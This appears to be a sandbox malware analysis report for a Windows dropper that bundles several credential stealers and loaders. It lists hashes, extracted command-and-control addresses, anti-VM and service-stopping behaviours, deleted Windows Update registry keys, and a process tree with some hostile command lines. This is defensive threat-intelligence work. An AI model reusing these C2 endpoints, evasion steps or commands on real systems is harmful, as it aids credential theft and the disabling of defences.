fabookie | fb4252931d238acd353be695360f6b6c1a2cc1289b730230842749e06d1d6605

Analysis

max time kernel
68s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
18-10-2022 17:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

FB4252931D238ACD353BE695360F6B6C1A2CC1289B730.exe
Size

13.9MB
MD5

72a01582db3154bd8f955754c3629cce
SHA1

b46112b47da52af0d239eef19bf0562b99616563
SHA256

fb4252931d238acd353be695360f6b6c1a2cc1289b730230842749e06d1d6605
SHA512

4784578a0256b703c176035284b0271f067f82ed8445f96a4f3d4b64fc93b5558fa331136fdabecf44b0072133b04b9e0c77b37aa09b00cee84109499945ba3c
SSDEEP

393216:am+hQgUbPbhmblpwD3yjgxJwZt3w8p4XMeJQ:am+hubWlKyjgxGr3w8p48eJQ

Score

10^/10

fabookie ffdroider lgoogloader onlylogger socelars downloader evasion loader spyware stealer themida trojan upx

Malware Config

Extracted

Family

socelars

https://dhner.s3.ap-southeast-2.amazonaws.com/eyxjet/

Extracted

Family

ffdroider

http://186.2.171.17

Signatures

Detect Fabookie payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\siww1049.exe	family_fabookie
C:\Users\Admin\AppData\Local\Temp\siww1049.exe	family_fabookie

Detects LgoogLoader payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4796-150-0x0000000000590000-0x00000000005A3000-memory.dmp	family_lgoogloader

FFDroider
Stealer targeting social media platform users first seen in April 2022.
stealer ffdroider

FFDroider payload 7 IoCs

Processes:

resource	yara_rule
behavioral2/memory/664-198-0x0000000000400000-0x00000000009A3000-memory.dmp	family_ffdroider
behavioral2/memory/664-199-0x0000000000400000-0x00000000009A3000-memory.dmp	family_ffdroider
behavioral2/memory/664-195-0x0000000000400000-0x00000000009A3000-memory.dmp	family_ffdroider
behavioral2/memory/664-207-0x0000000000400000-0x00000000009A3000-memory.dmp	family_ffdroider
behavioral2/memory/664-235-0x0000000000400000-0x00000000009A3000-memory.dmp	family_ffdroider
behavioral2/memory/664-1053-0x0000000000400000-0x00000000009A3000-memory.dmp	family_ffdroider
behavioral2/memory/664-1054-0x0000000000400000-0x00000000009A3000-memory.dmp	family_ffdroider

Fabookie
Fabookie is facebook account info stealer.
spyware stealer fabookie
LgoogLoader
A downloader capable of dropping and executing other malware families.
downloader lgoogloader

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

OnlyLogger
A tiny loader that uses IPLogger to get its payload.
loader onlylogger
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\askinstall63.exe	family_socelars
C:\Users\Admin\AppData\Local\Temp\askinstall63.exe	family_socelars

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

Blues.exe

description ioc process

Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Blues.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Blues.exe

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

Processes:

resource	yara_rule
behavioral2/memory/1796-246-0x0000000000400000-0x0000000000483000-memory.dmp	WebBrowserPassView

Nirsoft 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1796-246-0x0000000000400000-0x0000000000483000-memory.dmp	Nirsoft

OnlyLogger payload 3 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4668-234-0x0000000001B90000-0x0000000001BD3000-memory.dmp	family_onlylogger
behavioral2/memory/4668-247-0x0000000000400000-0x0000000001929000-memory.dmp	family_onlylogger
behavioral2/memory/4668-270-0x0000000000400000-0x0000000001929000-memory.dmp	family_onlylogger

Blocklisted process makes network request 2 IoCs

Processes:

schtasks.exe

flow pid process

40 4212 schtasks.exe
44 4212 schtasks.exe
Downloads MZ/PE file

flow	pid	process
40	4212	schtasks.exe
44	4212	schtasks.exe

Executes dropped EXE 27 IoCs

Processes:

Blues.exeLightCleaner2352312.exelt.exeinst1.exesetup.exelt.exesetup_2.exejg6_6asg.exesetup_2.tmpaskinstall63.exesiww1049.exeRoutes Installation.exesetup_2.exesearch_hyperfs_211.exeanytime1.exesetup_2.tmpanytime2.exeanytime3.exesvchost.exeanytime5.exebearvpn3.exe11111.exeLzmwAqmV.exekPBhgOaGQk.exeLzmwAqmV.exeRoutes License Agreement.exeupdater.exe

pid	process
4404	Blues.exe
4436	LightCleaner2352312.exe
4744	lt.exe
4796	inst1.exe
4668	setup.exe
4584	lt.exe
1072	setup_2.exe
664	jg6_6asg.exe
1772	setup_2.tmp
2016	askinstall63.exe
2812	siww1049.exe
1676	Routes Installation.exe
2912	setup_2.exe
3836	search_hyperfs_211.exe
4460	anytime1.exe
2188	setup_2.tmp
4244	anytime2.exe
3580	anytime3.exe
2248	svchost.exe
4212	anytime5.exe
5020	bearvpn3.exe
1796	11111.exe
4972	LzmwAqmV.exe
1268	kPBhgOaGQk.exe
1528	LzmwAqmV.exe
5004	Routes License Agreement.exe
4400	updater.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\11111.exe	upx
C:\Users\Admin\AppData\Local\Temp\11111.exe	upx
behavioral2/memory/1796-246-0x0000000000400000-0x0000000000483000-memory.dmp	upx

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Blues.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Blues.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Blues.exe

Checks computer location settings 2 TTPs 8 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

anytime2.exekPBhgOaGQk.exemshta.exeFB4252931D238ACD353BE695360F6B6C1A2CC1289B730.exelt.exemshta.exesetup_2.tmpsearch_hyperfs_211.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	anytime2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	kPBhgOaGQk.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	FB4252931D238ACD353BE695360F6B6C1A2CC1289B730.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	lt.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	setup_2.tmp
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	search_hyperfs_211.exe

Loads dropped DLL 12 IoCs

Processes:

setup_2.tmpRoutes Installation.exesetup_2.tmpRoutes License Agreement.exemsiexec.exe

pid	process
1772	setup_2.tmp
1676	Routes Installation.exe
1676	Routes Installation.exe
1676	Routes Installation.exe
1676	Routes Installation.exe
2188	setup_2.tmp
1676	Routes Installation.exe
5004	Routes License Agreement.exe
5004	Routes License Agreement.exe
5004	Routes License Agreement.exe
1860	msiexec.exe
1860	msiexec.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Blues.exe	themida
C:\Users\Admin\AppData\Local\Temp\Blues.exe	themida
behavioral2/memory/4404-153-0x0000000000BA0000-0x0000000000E3C000-memory.dmp	themida
behavioral2/memory/4404-248-0x0000000000BA0000-0x0000000000E3C000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

Blues.exejg6_6asg.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Blues.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	jg6_6asg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

18 ip-api.com
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

jg6_6asg.exe

pid process

664 jg6_6asg.exe

flow	ioc
18	ip-api.com

pid	process
664	jg6_6asg.exe

Drops file in Program Files directory 2 IoCs

Processes:

LzmwAqmV.exepowercfg.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	LzmwAqmV.exe
File created	C:\Program Files\Google\Chrome\updater.exe	powercfg.exe

Launches sc.exe 15 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid	process
1768	sc.exe
1392	sc.exe
4804	sc.exe
376	sc.exe
3240	sc.exe
8	sc.exe
3452	sc.exe
2488	sc.exe
1148	sc.exe
5092	sc.exe
2852	sc.exe
3780	sc.exe
4724	sc.exe
4500	sc.exe
4664	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 14 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
1792	4404	WerFault.exe	Blues.exe
1728	4668	WerFault.exe	setup.exe
2144	4668	WerFault.exe	setup.exe
4636	4668	WerFault.exe	setup.exe
2116	4668	WerFault.exe	setup.exe
5112	4668	WerFault.exe	setup.exe
2976	4668	WerFault.exe	setup.exe
4880	4668	WerFault.exe	setup.exe
1420	4668	WerFault.exe	setup.exe
4652	2248	WerFault.exe	anytime4.exe
1028	4668	WerFault.exe	setup.exe
2800	4668	WerFault.exe	setup.exe
948	4436	WerFault.exe	LightCleaner2352312.exe
4736	4668	WerFault.exe	setup.exe

NSIS installer 8 IoCs

installer

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Routes Installation.exe	nsis_installer_1
C:\Users\Admin\AppData\Local\Temp\Routes Installation.exe	nsis_installer_2
C:\Users\Admin\AppData\Local\Temp\Routes Installation.exe	nsis_installer_1
C:\Users\Admin\AppData\Local\Temp\Routes Installation.exe	nsis_installer_2
C:\Users\Admin\AppData\Local\Temp\acq6NcQrPx5Fs\Routes License Agreement.exe	nsis_installer_1
C:\Users\Admin\AppData\Local\Temp\acq6NcQrPx5Fs\Routes License Agreement.exe	nsis_installer_2
C:\Users\Admin\AppData\Local\Temp\acq6NcQrPx5Fs\Routes License Agreement.exe	nsis_installer_1
C:\Users\Admin\AppData\Local\Temp\acq6NcQrPx5Fs\Routes License Agreement.exe	nsis_installer_2

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Blues.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Blues.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Blues.exe

Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

3032 taskkill.exe
1300 taskkill.exe

pid	process
3032	taskkill.exe
1300	taskkill.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

Processes:

11111.exepowershell.exepowershell.exepowercfg.exepowershell.exepowershell.exepowershell.exe

pid	process
1796	11111.exe
1796	11111.exe
1796	11111.exe
1796	11111.exe
384	powershell.exe
384	powershell.exe
3496	powershell.exe
3496	powershell.exe
384	powershell.exe
3496	powershell.exe
1472	powercfg.exe
1472	powercfg.exe
924	powershell.exe
924	powershell.exe
1472	powercfg.exe
924	powershell.exe
2044	powershell.exe
2044	powershell.exe
1140	powershell.exe
1140	powershell.exe
1140	powershell.exe
2044	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

LightCleaner2352312.exeBlues.exeaskinstall63.exeanytime1.exeanytime2.exeanytime3.exesvchost.exeanytime5.exebearvpn3.exetaskkill.exetaskkill.exepowershell.exepowershell.exejg6_6asg.exepowercfg.exepowershell.exepowercfg.execonhost.exesc.exesc.exereg.exepowercfg.exepowercfg.exepowercfg.exe

description	pid	process
Token: SeDebugPrivilege	4436	LightCleaner2352312.exe
Token: SeDebugPrivilege	4404	Blues.exe
Token: SeCreateTokenPrivilege	2016	askinstall63.exe
Token: SeAssignPrimaryTokenPrivilege	2016	askinstall63.exe
Token: SeLockMemoryPrivilege	2016	askinstall63.exe
Token: SeIncreaseQuotaPrivilege	2016	askinstall63.exe
Token: SeMachineAccountPrivilege	2016	askinstall63.exe
Token: SeTcbPrivilege	2016	askinstall63.exe
Token: SeSecurityPrivilege	2016	askinstall63.exe
Token: SeTakeOwnershipPrivilege	2016	askinstall63.exe
Token: SeLoadDriverPrivilege	2016	askinstall63.exe
Token: SeSystemProfilePrivilege	2016	askinstall63.exe
Token: SeSystemtimePrivilege	2016	askinstall63.exe
Token: SeProfSingleProcessPrivilege	2016	askinstall63.exe
Token: SeIncBasePriorityPrivilege	2016	askinstall63.exe
Token: SeCreatePagefilePrivilege	2016	askinstall63.exe
Token: SeCreatePermanentPrivilege	2016	askinstall63.exe
Token: SeBackupPrivilege	2016	askinstall63.exe
Token: SeRestorePrivilege	2016	askinstall63.exe
Token: SeShutdownPrivilege	2016	askinstall63.exe
Token: SeDebugPrivilege	2016	askinstall63.exe
Token: SeAuditPrivilege	2016	askinstall63.exe
Token: SeSystemEnvironmentPrivilege	2016	askinstall63.exe
Token: SeChangeNotifyPrivilege	2016	askinstall63.exe
Token: SeRemoteShutdownPrivilege	2016	askinstall63.exe
Token: SeUndockPrivilege	2016	askinstall63.exe
Token: SeSyncAgentPrivilege	2016	askinstall63.exe
Token: SeEnableDelegationPrivilege	2016	askinstall63.exe
Token: SeManageVolumePrivilege	2016	askinstall63.exe
Token: SeImpersonatePrivilege	2016	askinstall63.exe
Token: SeCreateGlobalPrivilege	2016	askinstall63.exe
Token: 31	2016	askinstall63.exe
Token: 32	2016	askinstall63.exe
Token: 33	2016	askinstall63.exe
Token: 34	2016	askinstall63.exe
Token: 35	2016	askinstall63.exe
Token: SeDebugPrivilege	4460	anytime1.exe
Token: SeDebugPrivilege	4244	anytime2.exe
Token: SeDebugPrivilege	3580	anytime3.exe
Token: SeDebugPrivilege	2248	svchost.exe
Token: SeDebugPrivilege	4212	anytime5.exe
Token: SeDebugPrivilege	5020	bearvpn3.exe
Token: SeDebugPrivilege	3032	taskkill.exe
Token: SeDebugPrivilege	1300	taskkill.exe
Token: SeDebugPrivilege	384	powershell.exe
Token: SeDebugPrivilege	3496	powershell.exe
Token: SeManageVolumePrivilege	664	jg6_6asg.exe
Token: SeDebugPrivilege	1472	powercfg.exe
Token: SeDebugPrivilege	924	powershell.exe
Token: SeShutdownPrivilege	2212	powercfg.exe
Token: SeCreatePagefilePrivilege	2212	powercfg.exe
Token: SeShutdownPrivilege	3240	conhost.exe
Token: SeCreatePagefilePrivilege	3240	conhost.exe
Token: SeShutdownPrivilege	4500	sc.exe
Token: SeCreatePagefilePrivilege	4500	sc.exe
Token: SeShutdownPrivilege	3452	sc.exe
Token: SeCreatePagefilePrivilege	3452	sc.exe
Token: SeShutdownPrivilege	3424	reg.exe
Token: SeCreatePagefilePrivilege	3424	reg.exe
Token: SeShutdownPrivilege	604	powercfg.exe
Token: SeCreatePagefilePrivilege	604	powercfg.exe
Token: SeShutdownPrivilege	968	powercfg.exe
Token: SeCreatePagefilePrivilege	968	powercfg.exe
Token: SeShutdownPrivilege	1224	powercfg.exe

Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

lt.exelt.exe

pid process

4744 lt.exe
4744 lt.exe
4584 lt.exe
4584 lt.exe

pid	process
4744	lt.exe
4744	lt.exe
4584	lt.exe
4584	lt.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

FB4252931D238ACD353BE695360F6B6C1A2CC1289B730.exeWerFault.exelt.exesetup_2.exemshta.exesetup_2.tmpsetup_2.exesearch_hyperfs_211.exesiww1049.exereg.exe

description	pid	process	target process
PID 5112 wrote to memory of 4404	5112	FB4252931D238ACD353BE695360F6B6C1A2CC1289B730.exe	Blues.exe
PID 5112 wrote to memory of 4404	5112	FB4252931D238ACD353BE695360F6B6C1A2CC1289B730.exe	Blues.exe
PID 5112 wrote to memory of 4404	5112	FB4252931D238ACD353BE695360F6B6C1A2CC1289B730.exe	Blues.exe
PID 5112 wrote to memory of 4436	5112	FB4252931D238ACD353BE695360F6B6C1A2CC1289B730.exe	LightCleaner2352312.exe
PID 5112 wrote to memory of 4436	5112	FB4252931D238ACD353BE695360F6B6C1A2CC1289B730.exe	LightCleaner2352312.exe
PID 5112 wrote to memory of 4744	5112	WerFault.exe	lt.exe
PID 5112 wrote to memory of 4744	5112	WerFault.exe	lt.exe
PID 5112 wrote to memory of 4744	5112	WerFault.exe	lt.exe
PID 5112 wrote to memory of 4796	5112	WerFault.exe	inst1.exe
PID 5112 wrote to memory of 4796	5112	WerFault.exe	inst1.exe
PID 5112 wrote to memory of 4796	5112	WerFault.exe	inst1.exe
PID 5112 wrote to memory of 4668	5112	WerFault.exe	setup.exe
PID 5112 wrote to memory of 4668	5112	WerFault.exe	setup.exe
PID 5112 wrote to memory of 4668	5112	WerFault.exe	setup.exe
PID 4744 wrote to memory of 4584	4744	lt.exe	lt.exe
PID 4744 wrote to memory of 4584	4744	lt.exe	lt.exe
PID 4744 wrote to memory of 4584	4744	lt.exe	lt.exe
PID 5112 wrote to memory of 1072	5112	WerFault.exe	setup_2.exe
PID 5112 wrote to memory of 1072	5112	WerFault.exe	setup_2.exe
PID 5112 wrote to memory of 1072	5112	WerFault.exe	setup_2.exe
PID 5112 wrote to memory of 664	5112	WerFault.exe	jg6_6asg.exe
PID 5112 wrote to memory of 664	5112	WerFault.exe	jg6_6asg.exe
PID 5112 wrote to memory of 664	5112	WerFault.exe	jg6_6asg.exe
PID 1072 wrote to memory of 1772	1072	setup_2.exe	setup_2.tmp
PID 1072 wrote to memory of 1772	1072	setup_2.exe	setup_2.tmp
PID 1072 wrote to memory of 1772	1072	setup_2.exe	setup_2.tmp
PID 5112 wrote to memory of 2016	5112	WerFault.exe	askinstall63.exe
PID 5112 wrote to memory of 2016	5112	WerFault.exe	askinstall63.exe
PID 5112 wrote to memory of 2016	5112	WerFault.exe	askinstall63.exe
PID 5112 wrote to memory of 2812	5112	mshta.exe	siww1049.exe
PID 5112 wrote to memory of 2812	5112	mshta.exe	siww1049.exe
PID 5112 wrote to memory of 1676	5112	mshta.exe	Routes Installation.exe
PID 5112 wrote to memory of 1676	5112	mshta.exe	Routes Installation.exe
PID 5112 wrote to memory of 1676	5112	mshta.exe	Routes Installation.exe
PID 1772 wrote to memory of 2912	1772	setup_2.tmp	setup_2.exe
PID 1772 wrote to memory of 2912	1772	setup_2.tmp	setup_2.exe
PID 1772 wrote to memory of 2912	1772	setup_2.tmp	setup_2.exe
PID 5112 wrote to memory of 3836	5112	mshta.exe	search_hyperfs_211.exe
PID 5112 wrote to memory of 3836	5112	mshta.exe	search_hyperfs_211.exe
PID 5112 wrote to memory of 3836	5112	mshta.exe	search_hyperfs_211.exe
PID 5112 wrote to memory of 4460	5112	mshta.exe	anytime1.exe
PID 5112 wrote to memory of 4460	5112	mshta.exe	anytime1.exe
PID 2912 wrote to memory of 2188	2912	setup_2.exe	setup_2.tmp
PID 2912 wrote to memory of 2188	2912	setup_2.exe	setup_2.tmp
PID 2912 wrote to memory of 2188	2912	setup_2.exe	setup_2.tmp
PID 5112 wrote to memory of 4244	5112	mshta.exe	anytime2.exe
PID 5112 wrote to memory of 4244	5112	mshta.exe	anytime2.exe
PID 5112 wrote to memory of 3580	5112	mshta.exe	anytime3.exe
PID 5112 wrote to memory of 3580	5112	mshta.exe	anytime3.exe
PID 3836 wrote to memory of 4596	3836	search_hyperfs_211.exe	mshta.exe
PID 3836 wrote to memory of 4596	3836	search_hyperfs_211.exe	mshta.exe
PID 3836 wrote to memory of 4596	3836	search_hyperfs_211.exe	mshta.exe
PID 5112 wrote to memory of 2248	5112	mshta.exe	svchost.exe
PID 5112 wrote to memory of 2248	5112	mshta.exe	svchost.exe
PID 5112 wrote to memory of 4212	5112	mshta.exe	anytime5.exe
PID 5112 wrote to memory of 4212	5112	mshta.exe	anytime5.exe
PID 5112 wrote to memory of 5020	5112	mshta.exe	bearvpn3.exe
PID 5112 wrote to memory of 5020	5112	mshta.exe	bearvpn3.exe
PID 2812 wrote to memory of 1796	2812	siww1049.exe	11111.exe
PID 2812 wrote to memory of 1796	2812	siww1049.exe	11111.exe
PID 2812 wrote to memory of 1796	2812	siww1049.exe	11111.exe
PID 4596 wrote to memory of 1760	4596	reg.exe	cmd.exe
PID 4596 wrote to memory of 1760	4596	reg.exe	cmd.exe
PID 4596 wrote to memory of 1760	4596	reg.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\FB4252931D238ACD353BE695360F6B6C1A2CC1289B730.exe
"C:\Users\Admin\AppData\Local\Temp\FB4252931D238ACD353BE695360F6B6C1A2CC1289B730.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5112

C:\Users\Admin\AppData\Local\Temp\Blues.exe
"C:\Users\Admin\AppData\Local\Temp\Blues.exe"
2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:4404

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4404 -s 1744
3⤵
- Program crash
PID:1792

C:\Users\Admin\AppData\Local\Temp\LightCleaner2352312.exe
"C:\Users\Admin\AppData\Local\Temp\LightCleaner2352312.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4436

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 4436 -s 1440
3⤵
- Program crash
PID:948

C:\Users\Admin\AppData\Local\Temp\lt.exe
"C:\Users\Admin\AppData\Local\Temp\lt.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4744

C:\Users\Admin\AppData\Local\Temp\lt.exe
"C:\Users\Admin\AppData\Local\Temp\lt.exe" -a
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4584

C:\Users\Admin\AppData\Local\Temp\inst1.exe
"C:\Users\Admin\AppData\Local\Temp\inst1.exe"
2⤵
- Executes dropped EXE
PID:4796

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
2⤵
- Executes dropped EXE
PID:4668

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4668 -s 796
3⤵
- Program crash
PID:1728

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4668 -s 804
3⤵
- Program crash
PID:2144

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4668 -s 848
3⤵
- Program crash
PID:4636

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4668 -s 1028
3⤵
- Program crash
PID:2116

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4668 -s 1272
3⤵
- Program crash
- Suspicious use of WriteProcessMemory
PID:5112

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4668 -s 1276
3⤵
- Program crash
PID:2976

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4668 -s 824
3⤵
- Program crash
PID:4880

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4668 -s 1420
3⤵
- Program crash
PID:1420

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4668 -s 1432
3⤵
- Program crash
PID:1028

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4668 -s 980
3⤵
- Program crash
PID:2800

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4668 -s 1956
3⤵
- Program crash
PID:4736

C:\Users\Admin\AppData\Local\Temp\setup_2.exe
"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1072

C:\Users\Admin\AppData\Local\Temp\is-E4PA7.tmp\setup_2.tmp
"C:\Users\Admin\AppData\Local\Temp\is-E4PA7.tmp\setup_2.tmp" /SL5="$9004E,870458,780800,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
3⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1772

C:\Users\Admin\AppData\Local\Temp\setup_2.exe
"C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2912

C:\Users\Admin\AppData\Local\Temp\is-95E7C.tmp\setup_2.tmp
"C:\Users\Admin\AppData\Local\Temp\is-95E7C.tmp\setup_2.tmp" /SL5="$C0054,870458,780800,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2188

C:\Users\Admin\AppData\Local\Temp\jg6_6asg.exe
"C:\Users\Admin\AppData\Local\Temp\jg6_6asg.exe"
2⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:664

C:\Users\Admin\AppData\Local\Temp\askinstall63.exe
"C:\Users\Admin\AppData\Local\Temp\askinstall63.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2016

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
3⤵
PID:116

C:\Users\Admin\AppData\Local\Temp\siww1049.exe
"C:\Users\Admin\AppData\Local\Temp\siww1049.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2812

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /stab C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1796

C:\Users\Admin\AppData\Local\Temp\Routes Installation.exe
"C:\Users\Admin\AppData\Local\Temp\Routes Installation.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1676

C:\Users\Admin\AppData\Local\Temp\acq6NcQrPx5Fs\Routes License Agreement.exe
"C:\Users\Admin\AppData\Local\Temp\acq6NcQrPx5Fs\Routes License Agreement.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5004

C:\Users\Admin\AppData\Local\Temp\search_hyperfs_211.exe
"C:\Users\Admin\AppData\Local\Temp\search_hyperfs_211.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3836

C:\Windows\SysWOW64\mshta.exe
